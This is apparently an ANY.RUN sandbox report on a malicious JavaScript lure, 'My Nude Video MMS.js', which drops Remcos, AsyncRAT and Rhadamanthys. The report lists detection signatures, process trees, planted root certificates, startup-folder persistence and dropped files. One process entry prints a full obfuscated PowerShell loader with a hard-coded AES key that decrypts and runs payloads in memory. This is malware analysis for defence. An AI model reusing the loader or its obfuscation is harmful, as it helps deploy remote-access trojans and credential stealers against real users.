File name:

My Nude Video MMS.js

Full analysis: https://app.any.run/tasks/c56a3897-05c3-4658-80ce-92e72c11ca54
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: February 11, 2024, 02:50:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
remcos
remote
stealer
rhadamanthys
asyncrat
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (65522)
MD5:

F6837A76C9E34147F893807E74172CAE

SHA1:

0722FDE06E25A8C4E18E08DCC7CFBA8D2BE2CE47

SHA256:

A4403249E69C05688D7F778DE7930ED751777F6AEE277902084567694801B53C

SSDEEP:

12288:HvbrpJERxkdJ0krCHJXnzzZRS+hJhxiHn:PfrEC34Z6H

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Accesses environment variables (SCRIPT)

      • wscript.exe (PID: 3672)

    • Creates internet connection object (SCRIPT)

      • wscript.exe (PID: 3672)

    • Opens an HTTP connection (SCRIPT)

      • wscript.exe (PID: 3672)

    • Gets path to any of the special folders (SCRIPT)

      • wscript.exe (PID: 3672)

    • Sends HTTP request (SCRIPT)

      • wscript.exe (PID: 3672)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 3460)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2444)
      • powershell.exe (PID: 4044)

    • Unusual connection from system programs

      • wscript.exe (PID: 3672)

    • Create files in the Startup directory

      • powershell.exe (PID: 2756)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 3068)
      • powershell.exe (PID: 2336)
      • powershell.exe (PID: 1840)

    • Remcos is detected

      • powershell.exe (PID: 2484)

    • Actions looks like stealing of personal data

      • powershell.exe (PID: 3312)
      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 2616)
      • AppLaunch.exe (PID: 3108)
      • dialer.exe (PID: 4064)

    • Steals credentials from Web Browsers

      • powershell.exe (PID: 2616)

    • REMCOS has been detected (SURICATA)

      • powershell.exe (PID: 2484)

    • Steals credentials

      • powershell.exe (PID: 3312)
      • powershell.exe (PID: 2616)

    • Uses NirSoft utilities to collect credentials

      • powershell.exe (PID: 3312)
      • powershell.exe (PID: 2616)

    • RHADAMANTHYS has been detected (SURICATA)

      • dialer.exe (PID: 4064)

    • ASYNCRAT has been detected (SURICATA)

      • AppLaunch.exe (PID: 3108)

  • SUSPICIOUS

    • Reads data from a binary Stream object (SCRIPT)

      • wscript.exe (PID: 3672)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 3672)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3672)

    • Get information on the list of running processes

      • wscript.exe (PID: 3672)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 3672)

    • Adds/modifies Windows certificates

      • wscript.exe (PID: 3672)

    • Reads the Internet Settings

      • wscript.exe (PID: 3672)
      • powershell.exe (PID: 2444)
      • powershell.exe (PID: 4044)
      • powershell.exe (PID: 2756)
      • powershell.exe (PID: 2484)

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 3672)

    • Accesses ComputerSystem(Win32_ComputerSystem) via WMI (SCRIPT)

      • wscript.exe (PID: 3672)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 3672)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3672)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3672)
      • cmd.exe (PID: 3460)
      • cmd.exe (PID: 4000)
      • powershell.exe (PID: 2756)
      • cmd.exe (PID: 2060)
      • cmd.exe (PID: 1308)
      • cmd.exe (PID: 2668)
      • cmd.exe (PID: 2324)
      • cmd.exe (PID: 3960)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 3460)

    • Likely accesses (executes) a file from the Public directory

      • powershell.exe (PID: 2444)
      • cmd.exe (PID: 4000)
      • cmd.exe (PID: 3960)
      • powershell.exe (PID: 4044)
      • cmd.exe (PID: 2668)
      • cmd.exe (PID: 2324)
      • cmd.exe (PID: 1484)
      • cmd.exe (PID: 2908)

    • Application launched itself

      • cmd.exe (PID: 3460)
      • cmd.exe (PID: 4000)
      • powershell.exe (PID: 2756)
      • cmd.exe (PID: 2060)
      • cmd.exe (PID: 3960)
      • cmd.exe (PID: 2668)
      • cmd.exe (PID: 2324)
      • cmd.exe (PID: 1308)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 480)

    • Executing commands from ".cmd" file

      • cmd.exe (PID: 4000)
      • cmd.exe (PID: 3460)
      • cmd.exe (PID: 3960)
      • cmd.exe (PID: 1308)
      • powershell.exe (PID: 2756)
      • cmd.exe (PID: 2060)
      • cmd.exe (PID: 2668)
      • cmd.exe (PID: 2324)

    • Request a resource from the Internet using PowerShell's cmdlet

      • cmd.exe (PID: 3460)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3460)
      • cmd.exe (PID: 3960)
      • powershell.exe (PID: 2756)
      • powershell.exe (PID: 2484)
      • cmd.exe (PID: 2324)
      • cmd.exe (PID: 1308)
      • powershell.exe (PID: 480)

    • Reads browser cookies

      • powershell.exe (PID: 2484)

    • Loads DLL from Mozilla Firefox

      • powershell.exe (PID: 3272)
      • dialer.exe (PID: 4064)

    • Unusual connection from system programs

      • powershell.exe (PID: 2444)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 4044)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2444)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 4044)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 3960)
      • cmd.exe (PID: 2324)

    • Connects to unusual port

      • powershell.exe (PID: 2484)
      • dialer.exe (PID: 4064)
      • AppLaunch.exe (PID: 3108)

    • The process checks if it is being run in the virtual environment

      • dialer.exe (PID: 4064)

    • Accesses Microsoft Outlook profiles

      • powershell.exe (PID: 3312)
      • dialer.exe (PID: 4064)

    • Searches for installed software

      • dialer.exe (PID: 4064)

    • Reads settings of System Certificates

      • AppLaunch.exe (PID: 3108)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 2484)

    • Checks supported languages

      • wmplayer.exe (PID: 1316)
      • AppLaunch.exe (PID: 3108)

    • Reads the computer name

      • AppLaunch.exe (PID: 3108)

    • Reads the machine GUID from the registry

      • AppLaunch.exe (PID: 3108)
      • wmplayer.exe (PID: 1316)

    • Reads Environment values

      • AppLaunch.exe (PID: 3108)

    • Reads the software policy settings

      • AppLaunch.exe (PID: 3108)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.s | Digital Micrograph Script (100)
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
76
Monitored processes
29
Malicious processes
16
Suspicious processes
2

Behavior graph

Click at the process to see the details
start wscript.exe tasklist.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs powershell.exe powershell.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs #REMCOS powershell.exe powershell.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs timeout.exe no specs powershell.exe no specs powershell.exe powershell.exe powershell.exe #RHADAMANTHYS dialer.exe timeout.exe no specs wmplayer.exe no specs dllhost.exe #ASYNCRAT applaunch.exe

Process information

PID
CMD
Path
Indicators
Parent process
480C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
3221225477
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1308C:\Windows\system32\cmd.exe /K "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Network36940Man.cmd"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1316"C:\Program Files\Windows Media Player\wmplayer.exe"C:\Program Files\Windows Media Player\wmplayer.exe—dialer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player
Exit code:
0
Version:
12.0.7601.23517 (win7sp1_ldr.160812-0732)
Modules
Images
c:\program files\windows media player\wmplayer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1380timeout /nobreak /t 1 C:\Windows\System32\timeout.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\timeout.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
1484C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Public\downloadedScript2.cmd';$xrvM='ElgtlSemgtlSengtlStAgtlStgtlS'.Replace('gtlS', ''),'CiThhopyiThhToiThh'.Replace('iThh', ''),'MageKqigeKqnMgeKqogeKqdugeKqlegeKq'.Replace('geKq', ''),'CrazTXeazTXaazTXteDazTXecazTXrazTXypazTXtorazTX'.Replace('azTX', ''),'IzWoEnzWoEvozWoEkzWoEezWoE'.Replace('zWoE', ''),'SejiSplejiSiejiStejiS'.Replace('ejiS', ''),'GejnedtjnedCujnedrjnedrenjnedtPjnedrojnedcjnedessjned'.Replace('jned', ''),'TrPDDtansPDDtfPDDtoPDDtrPDDtmPDDtFiPDDtnPDDtaPDDtlBlPDDtockPDDt'.Replace('PDDt', ''),'DtKOqetKOqcotKOqmprtKOqestKOqstKOq'.Replace('tKOq', ''),'FrBdIeomBdIeBasBdIee6BdIe4SBdIetriBdIengBdIe'.Replace('BdIe', ''),'EjLzVnjLzVtjLzVrjLzVyjLzVPojLzVijLzVnjLzVtjLzV'.Replace('jLzV', ''),'LoaPuAOdPuAO'.Replace('PuAO', ''),'ChSXXianSXXigeSXXiESXXixtSXXiensSXXiionSXXi'.Replace('SXXi', ''),'ReWuEsadWuEsLWuEsinWuEseWuEssWuEs'.Replace('WuEs', '');powershell -w hidden;function MFgpR($zcQJM){$ZTJng=[System.Security.Cryptography.Aes]::Create();$ZTJng.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ZTJng.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ZTJng.Key=[System.Convert]::($xrvM[9])('q+XUVylxfTA/vxPbueOKtqEgzXqNpLFYmZ72+sp3CHk=');$ZTJng.IV=[System.Convert]::($xrvM[9])('8aujQSMzz0gnzfx8YhK5KA==');$JKznF=$ZTJng.($xrvM[3])();$mhiqN=$JKznF.($xrvM[7])($zcQJM,0,$zcQJM.Length);$JKznF.Dispose();$ZTJng.Dispose();$mhiqN;}function ImNVd($zcQJM){$YkUWF=New-Object System.IO.MemoryStream(,$zcQJM);$BewiY=New-Object System.IO.MemoryStream;$KpXzg=New-Object System.IO.Compression.GZipStream($YkUWF,[IO.Compression.CompressionMode]::($xrvM[8]));$KpXzg.($xrvM[1])($BewiY);$KpXzg.Dispose();$YkUWF.Dispose();$BewiY.Dispose();$BewiY.ToArray();}$fzRPY=[System.IO.File]::($xrvM[13])([Console]::Title);$VQfNJ=ImNVd (MFgpR ([Convert]::($xrvM[9])([System.Linq.Enumerable]::($xrvM[0])($fzRPY, 5).Substring(2))));$tFsqY=ImNVd (MFgpR ([Convert]::($xrvM[9])([System.Linq.Enumerable]::($xrvM[0])($fzRPY, 6).Substring(2))));[System.Reflection.Assembly]::($xrvM[11])([byte[]]$tFsqY).($xrvM[10]).($xrvM[4])($null,$null);[System.Reflection.Assembly]::($xrvM[11])([byte[]]$VQfNJ).($xrvM[10]).($xrvM[4])($null,$null); "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1840"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hiddenC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2060"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Network36940Man.cmd"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2324C:\Windows\system32\cmd.exe /K C:\Users\Public\downloadedScript2.cmd C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2336"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hiddenC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2348timeout /nobreak /t 1 C:\Windows\System32\timeout.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\timeout.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
Total events
33 207
Read events
33 069
Write events
108
Delete events
30

Modification events

(PID) Process:(3672) wscript.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates
Operation:delete valueName:9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6
Value:
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6
Operation:writeName:Blob
Value:
0F00000001000000200000009065F32AFC2CFEA7F452D2D6BE94D20C877EFC1C05433D9935696193FDCC05D80300000001000000140000009F6134C5FA75E4FDDE631B232BE961D6D4B97DB6200000000100000047030000308203433082022BA00302010202147327B7C17D5AE708EF73F1F45A79D78B4E99A29F300D06092A864886F70D01010B05003031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C084469676943657274301E170D3233303932393130353030335A170D3339303530383130353030335A3031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C08446967694365727430820122300D06092A864886F70D01010105000382010F003082010A0282010100D91B7A55548F44F3E97C493153B75B055695736B184640D7335A2E6218083B5A1BEE2695209350E57A3EB76FBC604CB3B250DF3D9D0C560D1FBDFE30108D233A3C555100BE1A3F8E543C0B253E06E91B6D5F9CB3A093009BC8B4D3A0EB19DB59E56DA7E3D637847970D6C2AEB4A1FCF3896A7C080FE68759BAA62E6AAA8B7C7CBDA176DDC72F8D259A16D3469E31F19D2959904611D730D7D26FCFED789A0C49698FDFABF3F6727D08C61A073BB11E85C96486D49B0E0D38364C008A5EB964F8813C5DF004F9E76D2F8DB90702D800032674959BF0DF823785419101CEA928A10ACBAE7E48FE19202F3CB7BCF416476D17CB64C5570FCED443BD75D9F2C632FF0203010001A3533051301D0603551D0E041604145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7301F0603551D230418301680145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7300F0603551D130101FF040530030101FF300D06092A864886F70D01010B05000382010100AF2218E4CA18144728FCC76EA14958061522FD4A018BED1A4BFCC5CCE70BC6AE9DF7D3795C9A010D53628E2B6E7C10D6B07E53546235A5EE480E5A434E312154BF1E39AAC27D2C18D4F41CBBECFE4538CEF93EF62C17D187A7F720F4A9478410D09620C9F8B293B5786A5440BC0743B7B7753CF66FBA498B7E083BC267597238DC031B9BB131F997D9B8164AAED0D6E328420E53E1969DA6CD035078179677A7177BB2BF9C87CF592910CD380E8501B92040A39469C782BA383BEAE498C060FCC7C429BC10B7B6B7A0659C9BE03DC13DB46C638CF5E3B22A303726906DC8DD91C64501EBFC282A3A497EC430CACC066EE4BF9C5C8F2F2A05D0C1921A9E3E85E3
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6
Operation:delete valueName:File
Value:
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6
Operation:delete keyName:(default)
Value:
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\9F6134C5FA75E4FDDE631B232BE961D6D4B97DB6
Operation:writeName:Blob
Value:
1400000001000000140000005D6CA352CEFC713CBBC5E21F663C3639FD19D4D70300000001000000140000009F6134C5FA75E4FDDE631B232BE961D6D4B97DB6200000000100000047030000308203433082022BA00302010202147327B7C17D5AE708EF73F1F45A79D78B4E99A29F300D06092A864886F70D01010B05003031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C084469676943657274301E170D3233303932393130353030335A170D3339303530383130353030335A3031310B3009060355040613025553310F300D06035504080C06426F73746F6E3111300F060355040A0C08446967694365727430820122300D06092A864886F70D01010105000382010F003082010A0282010100D91B7A55548F44F3E97C493153B75B055695736B184640D7335A2E6218083B5A1BEE2695209350E57A3EB76FBC604CB3B250DF3D9D0C560D1FBDFE30108D233A3C555100BE1A3F8E543C0B253E06E91B6D5F9CB3A093009BC8B4D3A0EB19DB59E56DA7E3D637847970D6C2AEB4A1FCF3896A7C080FE68759BAA62E6AAA8B7C7CBDA176DDC72F8D259A16D3469E31F19D2959904611D730D7D26FCFED789A0C49698FDFABF3F6727D08C61A073BB11E85C96486D49B0E0D38364C008A5EB964F8813C5DF004F9E76D2F8DB90702D800032674959BF0DF823785419101CEA928A10ACBAE7E48FE19202F3CB7BCF416476D17CB64C5570FCED443BD75D9F2C632FF0203010001A3533051301D0603551D0E041604145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7301F0603551D230418301680145D6CA352CEFC713CBBC5E21F663C3639FD19D4D7300F0603551D130101FF040530030101FF300D06092A864886F70D01010B05000382010100AF2218E4CA18144728FCC76EA14958061522FD4A018BED1A4BFCC5CCE70BC6AE9DF7D3795C9A010D53628E2B6E7C10D6B07E53546235A5EE480E5A434E312154BF1E39AAC27D2C18D4F41CBBECFE4538CEF93EF62C17D187A7F720F4A9478410D09620C9F8B293B5786A5440BC0743B7B7753CF66FBA498B7E083BC267597238DC031B9BB131F997D9B8164AAED0D6E328420E53E1969DA6CD035078179677A7177BB2BF9C87CF592910CD380E8501B92040A39469C782BA383BEAE498C060FCC7C429BC10B7B6B7A0659C9BE03DC13DB46C638CF5E3B22A303726906DC8DD91C64501EBFC282A3A497EC430CACC066EE4BF9C5C8F2F2A05D0C1921A9E3E85E3
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates
Operation:delete valueName:CABD2A79A1076A31F21D253635CB039D4329A5E8
Value:
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8
Operation:writeName:Blob
Value:
0400000001000000100000000CD2F9E0DA1773E9ED864DA5E370E74E0F00000001000000200000003F0411EDE9C4477057D57E57883B1F205B20CDC0F3263129B1EE0269A2678F63030000000100000014000000CABD2A79A1076A31F21D253635CB039D4329A5E809000000010000000C000000300A06082B060105050703011D000000010000001000000073B6876195F5D18E048510422AEF04E314000000010000001400000079B459E67BB6E5E40173800888C81A58F6E99B6E0B000000010000001A0000004900530052004700200052006F006F007400200058003100000062000000010000002000000096BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C61900000001000000100000002FE1F70BB05D7C92335BC5E05B984DA620000000010000006F0500003082056B30820353A0030201020211008210CFB0D240E3594463E0BB63828B00300D06092A864886F70D01010B0500304F310B300906035504061302555331293027060355040A1320496E7465726E65742053656375726974792052657365617263682047726F7570311530130603550403130C4953524720526F6F74205831301E170D3135303630343131303433385A170D3335303630343131303433385A304F310B300906035504061302555331293027060355040A1320496E7465726E65742053656375726974792052657365617263682047726F7570311530130603550403130C4953524720526F6F7420583130820222300D06092A864886F70D01010105000382020F003082020A0282020100ADE82473F41437F39B9E2B57281C87BEDCB7DF38908C6E3CE657A078F775C2A2FEF56A6EF6004F28DBDE68866C4493B6B163FD14126BBF1FD2EA319B217ED1333CBA48F5DD79DFB3B8FF12F1219A4BC18A8671694A66666C8F7E3C70BFAD292206F3E4C0E680AEE24B8FB7997E94039FD347977C99482353E838AE4F0A6F832ED149578C8074B6DA2FD0388D7B0370211B75F2303CFA8FAEDDDA63ABEB164FC28E114B7ECF0BE8FFB5772EF4B27B4AE04C12250C708D0329A0E15324EC13D9EE19BF10B34A8C3F89A36151DEAC870794F46371EC2EE26F5B9881E1895C34796C76EF3B906279E6DBA49A2F26C5D010E10EDED9108E16FBB7F7A8F7C7E50207988F360895E7E237960D36759EFB0E72B11D9BBC03F94905D881DD05B42AD641E9AC0176950A0FD8DFD5BD121F352F28176CD298C1A80964776E4737BACEAC595E689D7F72D689C50641293E593EDD26F524C911A75AA34C401F46A199B5A73A516E863B9E7D72A712057859ED3E5178150B038F8DD02F05B23E7B4A1C4B730512FCC6EAE050137C439374B3CA74E78E1F0108D030D45B7136B407BAC130305C48B7823B98A67D608AA2A32982CCBABD83041BA2830341A1D605F11BC2B6F0A87C863B46A8482A88DC769A76BF1F6AA53D198FEB38F364DEC82B0D0A28FFF7DBE21542D422D0275DE179FE18E77088AD4EE6D98B3AC6DD27516EFFBC64F533434F0203010001A3423040300E0603551D0F0101FF040403020106300F0603551D130101FF040530030101FF301D0603551D0E0416041479B459E67BB6E5E40173800888C81A58F6E99B6E300D06092A864886F70D01010B05000382020100551F58A9BCB2A850D00CB1D81A6920272908AC61755C8A6EF882E5692FD5F6564BB9B8731059D321977EE74C71FBB2D260AD39A80BEA17215685F1500E59EBCEE059E9BAC915EF869D8F8480F6E4E99190DC179B621B45F06695D27C6FC2EA3BEF1FCFCBD6AE27F1A9B0C8AEFD7D7E9AFA2204EBFFD97FEA912B22B1170E8FF28A345B58D8FC01C954B9B826CC8A8833894C2D843C82DFEE965705BA2CBBF7C4B7C74E3B82BE31C822737392D1C280A43939103323824C3C9F86B255981DBE29868C229B9EE26B3B573A82704DDC09C789CB0A074D6CE85D8EC9EFCEABC7BBB52B4E45D64AD026CCE572CA086AA595E315A1F7A4EDC92C5FA5FBFFAC28022EBED77BBBE3717B9016D3075E46537C3707428CD3C4969CD599B52AE0951A8048AE4C3907CECC47A452952BBAB8FBADD233537DE51D4D6DD5A1B1C7426FE64027355CA328B7078DE78D3390E7239FFB509C796C46D5B415B3966E7E9B0C963AB8522D3FD65BE1FB08C284FE24A8A389DAAC6AE1182AB1A843615BD31FDC3B8D76F22DE88D75DF17336C3D53FB7BCB415FFFDCA2D06138E196B8AC5D8B37D775D533C09911AE9D41C1727584BE0241425F67244894D19B27BE073FB9B84F817451E17AB7ED9D23E2BEE0D52804133C31039EDD7A6C8FC60718C67FDE478E3F289E0406CFA5543477BDEC899BE91743DF5BDB5FFE8E1E57A2CD409D7E6222DADE1827
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8
Operation:delete valueName:File
Value:
(PID) Process:(3672) wscript.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8
Operation:delete keyName:(default)
Value:
Executable files
0
Suspicious files
19
Text files
6
Unknown types
5

Dropped files

PID
Process
Filename
Type
3672wscript.exeC:\Users\admin\AppData\Local\Temp\Tar50D.tmpbinary
MD5:9C0C641C06238516F27941AA1166D427
SHA256:4276AF3669A141A59388BC56A87F6614D9A9BDDDF560636C264219A7EB11256F
3672wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:FFC4F2111E304CFFE12AD63DDFD7E165
SHA256:B388707524696C0CD9866ED359B9C5AB9530CA779F3E2C0444A331C2C88882DF
3672wscript.exeC:\Users\admin\AppData\Local\Temp\Cab50C.tmpcompressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
3068powershell.exeC:\Users\admin\AppData\Local\Temp\rpomx2op.ver.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2444powershell.exeC:\Users\admin\AppData\Local\Temp\o4lypnx0.rel.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
4044powershell.exeC:\Users\admin\AppData\Local\Temp\xdmipj5e.wvw.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2444powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
3672wscript.exeC:\Users\admin\AppData\Local\Temp\tempScript.battext
MD5:8F29012614BE9BB1BB384ED7A45D9793
